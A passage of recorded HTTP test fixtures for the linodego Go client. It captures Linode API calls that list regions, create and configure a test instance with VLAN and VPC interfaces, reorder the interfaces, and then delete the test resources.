Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-xg092lf7bs93","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874247, "label": "go-test-ins-wo-disk-xg092lf7bs93", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.34.218"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "81a6689e2a5932cbf36d6571b2b808a00bb59c64", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-8a59h6fj0a1g","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874247/configs method: POST response: body: '{"id": 65094707, "label": "go-test-conf-8a59h6fj0a1g", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1721929579057586000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1721929579057744000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 78825, "label": "go-test-vpc-1721929579057586000", "description": "", "region": "us-iad", "subnets": [{"id": 76444, "label": "linodego-vpc-test-1721929579057744000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-8a59h6fj0a1g","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":false,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":76444,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874247/configs/65094707 method: PUT response: body: '{"id": 65094707, "label": "go-test-conf-8a59h6fj0a1g", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047750, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047751, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047752, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78825, "subnet_id": 76444, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.34.218"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ids":[2047751,2047750,2047752]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874247/configs/65094707/interfaces/order method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874247/configs/65094707 method: GET response: body: '{"id": 65094707, "label": "go-test-conf-8a59h6fj0a1g", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2047751, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047750, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 2047752, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78825, "subnet_id": 76444, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.34.218"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874247 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/78825 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_Update.yaml000066400000000000000000001305211474652371000345720ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], 